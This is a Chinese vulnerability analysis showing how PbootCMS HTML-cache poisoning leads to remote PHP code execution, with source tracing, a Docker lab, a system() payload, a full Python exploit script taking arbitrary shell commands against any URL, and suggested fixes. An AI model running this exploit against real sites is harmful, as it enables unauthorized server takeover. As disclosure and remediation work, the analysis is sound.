从前台缓存投毒到代码执行:PbootCMS HTML 缓存链路漏洞分析与复现
本文内容仅用于授权环境下的漏洞研究、代码审计和修复验证,请勿将文中方法用于未授权目标。
漏洞概述
这次审计的对象是开源项目 PbootCMS。最开始关注到的并不是某个传统意义上的危险函数,而是一条前台页面渲染链路:
- 用户可控的请求 URL 会被重新拼回页面内容。
- 页面内容会被写入
runtime/cache/*.html。 - 同一路由二次命中缓存后,缓存中的 PHP 片段会被服务端解释执行。
单独看其中任何一个点,都不一定能直接下结论说是高危漏洞;但把三段逻辑串起来之后,最终形成了一条比较完整的利用链:
前台匿名请求 -> 污染 HTML 页面内容 -> 写入 HTML 缓存 -> 二次命中缓存 -> PHP 代码执行本文采用本地 Docker 环境进行验证,动态复现版本为 3.2.13-20260525,并结合历史版本对关键代码链路做了静态比对。
基本信息
项目 | 内容 |
项目名称 | PbootCMS |
漏洞类型 | 前台 HTML 缓存投毒导致代码执行 |
复现版本 |
|
利用条件 | 命中真实前台路由,HTML 缓存开启,Spider 记录逻辑可达 |
验证方式 | Docker + Apache + PHP 7.4 + SQLite |
验证命令 |
|
环境搭建
这类问题很容易被 WAF、面板防护、反向代理规则影响,所以我没有直接在公网环境里反复撞,而是先把本地环境跑通,再回头看公网差异。这一点和普通注入类漏洞不太一样,缓存链路问题非常吃部署细节。
获取源码
git clone https://github.com/pbootcmspro/PbootCMS.git
cd PbootCMS构建本地环境
PbootCMS 当前并不支持 PHP 8 直接运行,所以本地环境选择 php:7.4-apache-bullseye。为了贴近实际站点,又补了 gd、pdo_sqlite 和 Apache rewrite。
docker build -t pbootcms-audit-php74 -<<'EOF'
FROM php:7.4-apache-bullseye
RUN apt-get update \
&& apt-get install -y libsqlite3-dev libfreetype6-dev libjpeg62-turbo-dev libpng-dev unzip \
&& docker-php-ext-configure gd --with-freetype --with-jpeg \
&& docker-php-ext-install pdo pdo_sqlite gd \
&& a2enmod rewrite \
&& sed -ri 's/AllowOverride None/AllowOverride All/g' /etc/apache2/apache2.conf \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /var/www/html
CMD ["bash","-lc","sed -ri 's/^export APACHE_RUN_USER=.*/export APACHE_RUN_USER=root/; s/^export APACHE_RUN_GROUP=.*/export APACHE_RUN_GROUP=root/' /etc/apache2/envvars && apache2-foreground"]
EOF根目录还需要启用项目自带的伪静态规则:
cp rewrite/.htaccess .htaccess
mkdir -p runtime/cache runtime/complile runtime/backup runtime/log
chmod -R 777 runtime启动容器:
docker run -d \
--name pbootcms-audit \
-p 8088:80 \
-v "$PWD":/var/www/html \
pbootcms-audit-php74访问地址:
http://127.0.0.1:8088/本地验证时,首页和 aboutus 栏目都可以正常访问,这一点后面很关键,因为这个漏洞不是“随便一个 URL 都能打”,而是必须先命中真实前台路由。
漏洞分析
这条链路真正有意思的地方在于,它不是一个“参数直接进危险函数”的经典模式,而是几个看上去都很正常的功能组合出了危险效果。下面按链路拆开看。
1. 路由入口:为什么前台路由本身就是漏洞前提
前台请求从 index.php 进入后,最终会落到 apps/home/controller/IndexController.php 的 _empty() 中进行路由分发:
// apps/home/controller/IndexController.php
public function _empty()
{
$url_rule_type = $this->config('url_rule_type') ?: 3;
if (P) {
$path = P;
} elseif ($url_rule_type == 3 && isset($_SERVER["QUERY_STRING"]) && $qs = $_SERVER["QUERY_STRING"]) {
parse_str($qs, $output);
unset($output['page']);
if ($output && !current($output)) {
$path = key($output);
}
}
...
}这段代码决定了三件事:
P参数存在时,会直接把它当作前台路径。- 当
url_rule_type=3时,/?aboutus/这种 query-key 风格也会被识别成栏目路径。 - 只有命中了真实栏目,后面的模板渲染、Spider 注入和缓存写入才会发生。
也就是说,下面几种请求形态虽然长得不一样,但都可能进入真实页面:
/?p=/aboutus/
/?aboutus/
/aboutus/这就是为什么“路由怎么写”不是复现细节,而是漏洞链路的第一前提。如果路由没打对,HTTP 200 也可能只是首页兜底,不会进入目标栏目,更不会写入你想要的缓存文件。
2. Spider 记录逻辑把当前 URL 拼回了页面
继续看 apps/home/controller/ParserController.php:
// apps/home/controller/ParserController.php
if ($this->config('spiderlog') !== '0') {
if ($this->config('tpl_html_cache')) { // 缓存时插入script,否则直接执行
$spidercode = "<script src='" . Url::home('Spider', null, 'url=' . URL) . "' async='async'></script>";
$content = preg_replace('/(<\/body>)/i', $spidercode . "\n$1", $content);
} else {
$spider = new SpiderController(URL);
$spider->index();
}
}这段代码的危险点有两个:
- 当前请求路径
URL会参与生成<script src='...'>。 - 生成后的
spidercode不是单独发起请求,而是直接拼进了当前页面的 HTML 内容。
也就是说,用户请求中的可控部分并没有停留在“服务端变量”层,而是被重新写回了 HTML 响应里。
如果只看到这里,最多只能说这里存在输出污染风险;但问题在于,这个污染后的 $content 还会继续流向缓存逻辑。
3. Url::home() 解释了为什么页面里会出现 /?Spider/&url=...
很多人在第一次抓包时都会看到这种响应片段:
<script src='/?Spider/&url=/?p=/aboutus/&s=...' async='async'></script>这不是浏览器自己拼出来的,而是 core/basic/Url.php 在兼容模式下的固定行为:
// core/basic/Url.php
public static function home($path, $suffix = null, $qs = null)
{
...
switch ($url_rule_type) {
case '3': // 兼容模式
$qs = $qs ? "&" . $qs : '';
$link = SITE_INDEX_DIR . '/?' . $path . $suffix . $qs;
break;
}
}因此 Url::home('Spider', null, 'url=' . URL) 在默认兼容模式下会生成:
/?Spider/&url=<当前URL>这一步非常关键,因为它说明 payload 不是通过模板标签、表单字段或者数据库字段进入页面的,而是通过“当前请求 URL 再次反射回页面”的方式进入 HTML。
4. 缓存写入条件为什么会放过 p 和 s
接下来再看 core/view/View.php 的缓存逻辑:
// core/view/View.php
public function cache($content)
{
if (Config::get('tpl_html_cache') && ! query_string('p,s')) {
$lg = cookie('lg');
...
$cacheFile = $this->cachePath . '/' . md5(get_http_url() . $_SERVER["REQUEST_URI"] . $lg . $wap) . '.html';
file_put_contents($cacheFile, $content) ?: error('缓存文件' . $cacheFile . '生成出错!请检查目录是否有可写权限!');
return true;
}
return false;
}乍一看很多人会把关注点放在 file_put_contents(),但这里真正决定问题的是前面的判断:
! query_string('p,s')继续跟进 core/function/handle.php:
// core/function/handle.php
function query_string($unset = null)
{
if (isset($_SERVER["QUERY_STRING"]) && ! ! $qs = $_SERVER["QUERY_STRING"]) {
parse_str($qs, $output);
unset($output['page']);
$unset = strpos($unset, ',') ? explode(',', $unset) : $unset;
if (is_array($unset)) {
foreach ($unset as $value) {
if (isset($output[$value])) {
unset($output[$value]);
}
}
}
if (isset($output['p'])) {
$p = 'p=' . $output['p'];
unset($output['p']);
$qs = $output ? $p . '&' . http_build_query($output) : $p;
} else {
$qs = http_build_query($output);
}
}
return $qs ? '?' . $qs : '';
}把这两段放在一起看,问题就很明显了。
假设请求为:
/?p=/aboutus/&s=<?=/**/system("whoami");?>那么缓存判断过程是:
query_string('p,s')会先把查询参数中的p、s删除。- 删除后,如果没有别的参数,函数返回空字符串。
! query_string('p,s')条件成立。- 带着 payload 的整页 HTML 被写入
runtime/cache/*.html。
这一步是整条链路里最容易被忽略、但实际最致命的地方。因为 payload 明明在 query string 里,但缓存策略恰好把承载 payload 的两个参数当成了“可忽略参数”。
5. 缓存内容是如何落盘的
在 core/basic/Controller.php 中,页面输出前会先进入缓存函数:
// core/basic/Controller.php
final protected function cache($content, $display = true)
{
$view = View::getInstance();
if (Config::get('tpl_html_cache')) {
$content = str_replace('{pboot:runtime}', 'Cached at ' . date('Y-m-d H:i:s'), $content);
} else {
$content = $this->runtime($content);
}
$view->cache($content); // 压缩前缓存
$content = $this->gzip($content);
...
}这里可以看出两点:
- 写入缓存的是完整的页面 HTML,而不是某个局部模板片段。
- 写入动作发生在 gzip 之前,因此缓存文件保存的是可直接阅读的原始内容。
也正因为如此,第一次请求之后我们能在 runtime/cache/*.html 里直接看到被污染的 Spider 片段。
6. 默认配置为什么会放大利用面
如果这条链路需要管理员显式打开多个冷门功能,风险会小很多。但 PbootCMS 在默认配置上恰好把这几个条件尽可能凑齐了。
先看项目级配置文件 config/config.php:
return array(
'tpl_html_cache' => 1,
'tpl_html_cache_time' => 900000000000,
...
);而框架约定的默认值 core/convention.php 其实是关闭缓存的:
return array(
'tpl_html_cache' => 0,
'tpl_html_cache_time' => 900,
...
);也就是说,项目层把 HTML 缓存明确改成了开启状态。
再看后台配置模板中 spiderlog 的显示逻辑:
<input type="radio" name="spiderlog" value="1"
{if([$configs.spiderlog.value]=='1'||[$configs.spiderlog.value]=='')} checked="checked" {/if}
title="启用">
<input type="radio" name="spiderlog" value="0"
{if([$configs.spiderlog.value]=='0')} checked="checked" {/if}
title="禁用">这意味着只要该配置项为空,后台界面就会默认落在“启用”分支。
地址模式同样如此:
<input type="radio" name="url_rule_type" value="3"
{if([$configs.url_rule_type.value]==3||![$configs.url_rule_type.value])} checked="checked" {/if}
title="兼容模式,首页/index.php也可正常访问,类似:/?product/1.html">项目自带的 SQL 备份里也能看到 url_rule_type 的默认值是 3:
('37','url_rule_type','3','2','255','路径类型')所以从默认部署视角看,这条链路并不是“运维额外开了几个危险选项”才成立,而是:
- HTML 缓存默认开启。
- Spider 记录逻辑默认可达。
- 兼容模式路由默认可用。
这三点叠在一起,利用门槛会比想象中低很多。
7. 为什么二次请求足以证明代码执行
缓存写入本身还不能直接等同于 RCE,真正让风险升级的是“缓存命中后,缓存中的 PHP 片段被解释执行”。
这一点在本地复现里可以非常直观看到:
- 第一次请求后,
runtime/cache/*.html中保存的是原始<?=/**/system("whoami");?>。 - 第二次发送完全相同的请求后,响应中同一位置不再是 PHP 代码,而变成了
www-data。
如果缓存文件只是纯文本回传,那么第二次请求时它理应继续原样输出。现在它变成了命令结果,说明缓存命中后服务端对其中的 PHP 标签进行了实际解释。
也正因为如此,这个问题不能再简单归类为“缓存投毒”或“输出污染”,而应当认定为可通向代码执行的高危漏洞链。
漏洞复现
下面的复现全部基于本地 Docker 环境,目的只是证明漏洞链存在,不涉及破坏性操作。
1. 先确认目标路由真实可达
我这里使用的是默认演示站自带的“公司简介”栏目:
http://127.0.0.1:8088/?p=/aboutus/页面正常返回如下:
这一步不是形式动作。因为如果当前请求没有命中真实栏目,而只是被首页兜底,那么后面写入缓存的就不是目标页面。
2. 清理缓存,避免旧文件干扰
docker exec pbootcms-audit sh -lc 'rm -f /var/www/html/runtime/cache/*.html'3. 首次请求:把 payload 写进 HTML 缓存
为了用最直观的方式验证,我这里在授权环境中使用了 whoami。构造的请求如下:
http://127.0.0.1:8088/?p=/aboutus/&s=<?=/**/system("whoami");?>第一次访问后,页面尾部会出现被污染的 Spider 脚本:
<script src='/?Spider/&url=/?p=/aboutus/&s=<?=/**/system("whoami");?>' async='async'></script>同时在 runtime/cache/*.html 中可以看到完全一致的原始代码:
<script src='/?Spider/&url=/?p=/aboutus/&s=<?=/**/system("whoami");?>' async='async'></script>对应截图如下:
到这一步,已经能确认两件事:
- payload 确实进入了页面输出。
- payload 确实被写进了 HTML 缓存。
但我们发现被编码了,所以我们不能在浏览器中直接请求。
4. 二次请求:命中缓存并触发 whoami
再次访问完全相同的 URL:
curl http://127.0.0.1:8088/?p=/aboutus/&s=<?=/**/system("whoami");?>这一次响应中的同一位置会变成:
<script src='/?Spider/&url=/?p=/aboutus/&s=www-data
www-data' async='async'></script>对应截图如下:
这里 www-data 出现两次并不奇怪:
system("whoami")本身会把命令输出直接打印出来。<?= ... ?>又会把返回值再输出一次。
所以只要看到这种“双输出”现象,基本就能确认这里执行的确实是 PHP 代码,而不是别的模板替换行为。
5. 为什么同一个路由必须前后保持一致
缓存文件名并不是只按栏目名生成的,而是会把完整请求 URI 算进去:
$cacheFile = $this->cachePath . '/' . md5(get_http_url() . $_SERVER["REQUEST_URI"] . $lg . $wap) . '.html';这意味着下面两次请求即使都访问“公司简介”,也未必会命中同一个缓存文件:
/?p=/aboutus/&s=...
/?aboutus/&s=...所以在利用时,路由至少承担四个角色:
- 决定当前请求是否进入真实页面。
- 决定 Spider 注入里
url=的内容。 - 决定缓存文件名中的
REQUEST_URI。 - 决定第二次请求能否准确命中第一次写入的那个缓存文件。
这也是为什么我在本地复现时优先使用 p 风格路由,而不是混用 path、key 和 p 三种形态。
6. PoC
#!/usr/bin/env python3
"""
PbootCMS front-end HTML cache poisoning to PHP code execution PoC.
"""
from __future__ import annotations
import argparse
import base64
import datetime as dt
import gzip
import http.client
import os
import re
import ssl
import sys
import textwrap
from dataclasses import dataclass
from http.cookies import SimpleCookie
from pathlib import Path
from typing import Iterable
from urllib.parse import unquote, urlparse
from urllib.request import getproxies
DEFAULT_CMD = "whoami"
USER_AGENT = "PbootCMS-cache-poisoning-RCE-PoC/1.0"
def build_payload(cmd: str) -> str:
escaped = cmd.replace('"', '\\"')
return f'<?=/**/system("{escaped}");?>'
@dataclass
class ResponseRecord:
step: str
status: int
reason: str
headers: list[tuple[str, str]]
body: bytes
@property
def text(self) -> str:
return self.body.decode("utf-8", errors="replace")
def to_http_text(self) -> str:
lines = [f"HTTP/1.1 {self.status} {self.reason}"]
lines.extend(f"{k}: {v}" for k, v in self.headers)
lines.append("")
return "\r\n".join(lines) + "\r\n" + self.text
class CookieJar:
def __init__(self) -> None:
self._cookies: dict[str, str] = {}
def update_from_headers(self, headers: Iterable[tuple[str, str]]) -> None:
for key, value in headers:
if key.lower() != "set-cookie":
continue
cookie = SimpleCookie()
cookie.load(value)
for name, morsel in cookie.items():
self._cookies[name] = morsel.value
def header(self) -> str | None:
if not self._cookies:
return None
return "; ".join(f"{name}={value}" for name, value in sorted(self._cookies.items()))
def __bool__(self) -> bool:
return bool(self._cookies)
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="PbootCMS front-end HTML cache poisoning RCE PoC.",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent(
"""\
Examples:
python3 pbootcms_cache_poisoning_rce_poc.py --target http://127.0.0.1:8088
python3 pbootcms_cache_poisoning_rce_poc.py --target https://192.168.1.10 --no-verify
python3 pbootcms_cache_poisoning_rce_poc.py --target http://127.0.0.1:8088 --cmd "id;uname -a"
Notes:
- The payload is sent as a raw request-target. Do not replace this with a browser test,
because browsers normally URL-encode the PHP tag characters.
"""
),
)
parser.add_argument("--target", default="http://127.0.0.1:8088", help="PbootCMS base URL (http or https).")
parser.add_argument("--route", default="/aboutus/", help="Existing front-end route used as p parameter.")
parser.add_argument("--cmd", default=DEFAULT_CMD, help="Shell command to execute (default: whoami).")
parser.add_argument("--timeout", type=float, default=10.0, help="HTTP timeout in seconds.")
parser.add_argument("--save-dir", default="", help="Optional directory for raw HTTP evidence.")
parser.add_argument("--no-verify", action="store_true", help="Disable HTTPS certificate verification (self-signed certs).")
parser.add_argument("--proxy", default="", help="Optional HTTP proxy, for example http://127.0.0.1:7890.")
parser.add_argument("--use-env-proxy", action="store_true", help="Use http_proxy/https_proxy environment variables.")
return parser.parse_args()
def normalize_route(route: str) -> str:
if not route.startswith("/"):
route = "/" + route
return route
def build_request_targets(parsed, route: str, payload: str) -> tuple[str, str]:
base_path = parsed.path.rstrip("/")
warmup = f"{base_path}/?p={route}"
exploit = f"{base_path}/?p={route}&s={payload}"
return warmup, exploit
def resolve_proxy(scheme: str, proxy_arg: str, use_env_proxy: bool):
proxy_url = proxy_arg
if use_env_proxy and not proxy_url:
proxies = getproxies()
proxy_url = proxies.get(scheme) or proxies.get("all")
if not proxy_url:
return None
if "://" not in proxy_url:
proxy_url = "http://" + proxy_url
proxy = urlparse(proxy_url)
if proxy.scheme != "http" or not proxy.hostname:
raise SystemExit("[-] Only HTTP proxies are supported, for example http://127.0.0.1:7890.")
return proxy
def proxy_auth_header(proxy) -> str | None:
if not proxy or not proxy.username:
return None
username = unquote(proxy.username)
password = unquote(proxy.password or "")
token = base64.b64encode(f"{username}:{password}".encode()).decode()
return f"Basic {token}"
def request(
parsed,
request_target: str,
jar: CookieJar,
timeout: float,
step: str,
no_verify: bool = False,
proxy=None,
) -> ResponseRecord:
port = parsed.port
proxy_auth = proxy_auth_header(proxy)
if parsed.scheme == "https":
port = port or 443
if no_verify:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
else:
context = ssl.create_default_context()
if proxy:
conn = http.client.HTTPSConnection(proxy.hostname, proxy.port or 8080, timeout=timeout, context=context)
tunnel_headers = {"Proxy-Authorization": proxy_auth} if proxy_auth else None
conn.set_tunnel(parsed.hostname, port, headers=tunnel_headers)
else:
conn = http.client.HTTPSConnection(parsed.hostname, port, timeout=timeout, context=context)
elif parsed.scheme == "http":
port = port or 80
if proxy:
conn = http.client.HTTPConnection(proxy.hostname, proxy.port or 8080, timeout=timeout)
request_target = f"{parsed.scheme}://{parsed.netloc}{request_target}"
else:
conn = http.client.HTTPConnection(parsed.hostname, port, timeout=timeout)
else:
raise SystemExit("[-] Only http:// and https:// targets are supported.")
headers = {
"Host": parsed.netloc,
"User-Agent": USER_AGENT,
"Accept": "*/*",
"Accept-Encoding": "identity",
"Connection": "close",
}
if proxy and proxy_auth and parsed.scheme == "http":
headers["Proxy-Authorization"] = proxy_auth
cookie_header = jar.header()
if cookie_header:
headers["Cookie"] = cookie_header
try:
conn.request("GET", request_target, headers=headers)
resp = conn.getresponse()
headers_list = resp.getheaders()
body = resp.read()
except TimeoutError as exc:
raise RuntimeError(
f"{step} request timed out after {timeout}s while waiting for an HTTP response. "
"If curl works only through a proxy, rerun with --use-env-proxy or --proxy http://host:port."
) from exc
except (OSError, http.client.HTTPException) as exc:
raise RuntimeError(f"{step} request failed: {exc}") from exc
finally:
conn.close()
encoding = ""
for key, value in headers_list:
if key.lower() == "content-encoding":
encoding = value.lower()
break
if encoding == "gzip":
body = gzip.decompress(body)
jar.update_from_headers(headers_list)
return ResponseRecord(step=step, status=resp.status, reason=resp.reason, headers=headers_list, body=body)
def extract_spider_s_value(text: str) -> str | None:
matches = re.findall(r"<script\s+src=['\"][^'\"]*Spider[^'\"]*&s=(.*?)['\"]\s+async=", text, flags=re.I | re.S)
if not matches:
matches = re.findall(r"Spider[^'\"]*&s=(.*?)['\"]", text, flags=re.I | re.S)
if not matches:
return None
return matches[-1].strip()
def save_records(save_dir: str, records: list[ResponseRecord], evidence: str) -> Path | None:
if not save_dir:
return None
out = Path(save_dir)
out.mkdir(parents=True, exist_ok=True)
for idx, record in enumerate(records, 1):
safe_step = re.sub(r"[^a-zA-Z0-9_-]+", "_", record.step).strip("_").lower()
(out / f"{idx:02d}_{safe_step}.http").write_text(record.to_http_text(), encoding="utf-8")
(out / "rce_evidence.txt").write_text(evidence, encoding="utf-8")
return out
def main() -> int:
args = parse_args()
parsed = urlparse(args.target)
if parsed.scheme not in {"http", "https"}:
print("[-] Only http:// and https:// targets are supported.", file=sys.stderr)
return 2
payload = build_payload(args.cmd)
route = normalize_route(args.route)
warmup_target, exploit_target = build_request_targets(parsed, route, payload)
jar = CookieJar()
proxy = resolve_proxy(parsed.scheme, args.proxy, args.use_env_proxy)
print(f"[+] Target: {parsed.scheme}://{parsed.netloc}{parsed.path.rstrip('/')}")
print(f"[+] Route: {route}")
print(f"[+] Command: {args.cmd}")
if proxy:
print(f"[+] Proxy: {proxy.scheme}://{proxy.hostname}:{proxy.port or 8080}")
if args.no_verify:
print("[!] TLS certificate verification disabled.")
try:
print("[+] Step 1/3: warming up route and collecting cookies")
warmup = request(parsed, warmup_target, jar, args.timeout, "warmup", args.no_verify, proxy)
print(f" HTTP {warmup.status}; cookies={'yes' if jar else 'no'}")
print("[+] Step 2/3: sending raw cache-poisoning request")
poison = request(parsed, exploit_target, jar, args.timeout, "poison", args.no_verify, proxy)
print(f" HTTP {poison.status}; raw PHP tag present in first response={'yes' if payload in poison.text else 'no'}")
print("[+] Step 3/3: repeating the same request to trigger HTML cache include")
trigger = request(parsed, exploit_target, jar, args.timeout, "trigger", args.no_verify, proxy)
print(f" HTTP {trigger.status}")
except RuntimeError as exc:
print(f"[-] {exc}", file=sys.stderr)
return 1
s_value = extract_spider_s_value(trigger.text)
if s_value is None:
evidence = "No Spider script with s= value was found in the trigger response."
print("[-] RCE not confirmed: Spider script evidence was not found.")
print("[-] Check whether tpl_html_cache=1, spiderlog is enabled, and the route exists.")
records = [warmup, poison, trigger]
out = save_records(args.save_dir, records, evidence)
if out:
print(f"[+] Evidence saved to: {out}")
return 1
if not s_value.strip():
evidence = (
"A Spider script was found, but its s= value is empty.\n"
"This does not confirm RCE. The payload may have been stripped, blocked, or not written into cache.\n"
)
print("[-] RCE not confirmed: Spider s= value is empty.")
print("[-] This usually means the target is not vulnerable under the current route/config, or the payload was filtered.")
records = [warmup, poison, trigger]
out = save_records(args.save_dir, records, evidence)
if out:
print(f"[+] Evidence saved to: {out}")
return 1
if payload in trigger.text:
evidence = (
"The PHP payload is still present in the trigger response, so it was not interpreted by PHP.\n"
f"Extracted s= value:\n{s_value}\n"
)
print("[-] RCE not confirmed: payload is still visible, not executed.")
records = [warmup, poison, trigger]
out = save_records(args.save_dir, records, evidence)
if out:
print(f"[+] Evidence saved to: {out}")
return 1
evidence = f"Command: {args.cmd}\nExtracted Spider script s= value after cache hit:\n{s_value}\n"
records = [warmup, poison, trigger]
out = save_records(args.save_dir, records, evidence)
print("[+] RCE confirmed: the PHP payload was interpreted during cached HTML include.")
print(f"[+] Command output ({args.cmd}):")
print(textwrap.indent(s_value, " "))
if out:
print(f"[+] Raw HTTP evidence saved to: {out}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
本地执行示例:
python3 pbootcms_cache_poisoning_rce_poc.py --target http://127.0.0.1:8088/ --route /aboutus/ --use-env-proxy --timeout 8 --cmd "ls" --no-verify
成功时输出类似:
影响范围
结合版本对比和关键代码静态检查,V3.2.5 至 V3.2.13 均存在相同关键链路;其中 3.2.13-20260525 已完成动态复现。
可以更严谨地表述为:
已确认
V3.2.5至V3.2.13的源码中均存在相同关键逻辑和默认前置配置;V3.2.13已完成本地动态验证,因此判断该版本范围受影响。
补充说明:
- GitHub Releases 页面最新发布包是
V3.2.12。 V3.2.13存在于 Git Tag 和当前代码树中。
修复建议
1. 不要再让 HTML 缓存走可解释加载
这是根修。只要缓存命中后仍然按可执行内容处理,同类问题迟早还会出现。
更安全的方式应当是把缓存文件作为纯文本读取,而不是解释执行,例如:
readfile($cacheFile);或者:
echo file_get_contents($cacheFile);2. 对 Spider url= 参数做双重安全处理
当前实现是直接拼接:
$spidercode = "<script src='" . Url::home('Spider', null, 'url=' . URL) . "' async='async'></script>";更安全的写法至少应该同时做 URL 编码和 HTML 属性编码:
$spiderUrl = Url::home('Spider', null, 'url=' . rawurlencode(URL));
$spidercode = "<script src='" . htmlspecialchars($spiderUrl, ENT_QUOTES, 'UTF-8') . "' async='async'></script>";3. 收紧 HTML 缓存写入条件
query_string('p,s') 这种“忽略特定参数后再判断是否缓存”的设计风险很高,建议至少做到:
- 默认不缓存带 query string 的前台请求。
- 即使要缓存,也采用参数白名单,而不是只排除少数参数。
p、s这类兼容路由参数不应直接带着原始值参与缓存链路。
4. 临时缓解措施
如果短期内无法直接改代码,可以先做以下缓解:
关闭 tpl_html_cache
显式关闭 spiderlog
清空 runtime/cache
在边界层拦截明显的 PHP 标签特征但需要强调的是,这些都只是缓解,不是根修。只要 HTML 缓存依旧可能被污染且缓存命中后仍会被解释执行,风险就没有真正消失。
结语
这个问题比较典型,也比较有代表性。它不是一个单点漏洞,而是一条由多个“看起来都正常”的功能组合出来的高危链路:
前台路由 -> Spider 注入 -> HTML 缓存写入 -> 缓存命中解释执行对白盒审计来说,这类问题的难点恰恰就在这里。只看模板输出,容易把它当普通反射;只看缓存写入,容易把它当普通缓存策略;只看二次命中现象,又看不清污染是怎么进去的。只有把整条链路串起来,才能真正看到它为什么会落到 RCE。
后面如果继续审 PbootCMS,思路其实已经很明确了:凡是“用户可控内容进入模板输出,再进入持久化文件,再在后续请求中被解释处理”的地方,都值得继续深挖。
参考资料
- PbootCMS 仓库:
https://github.com/pbootcmspro/PbootCMS - PbootCMS Releases:
https://github.com/pbootcmspro/PbootCMS/releases - PbootCMS Tags:
https://github.com/pbootcmspro/PbootCMS/tags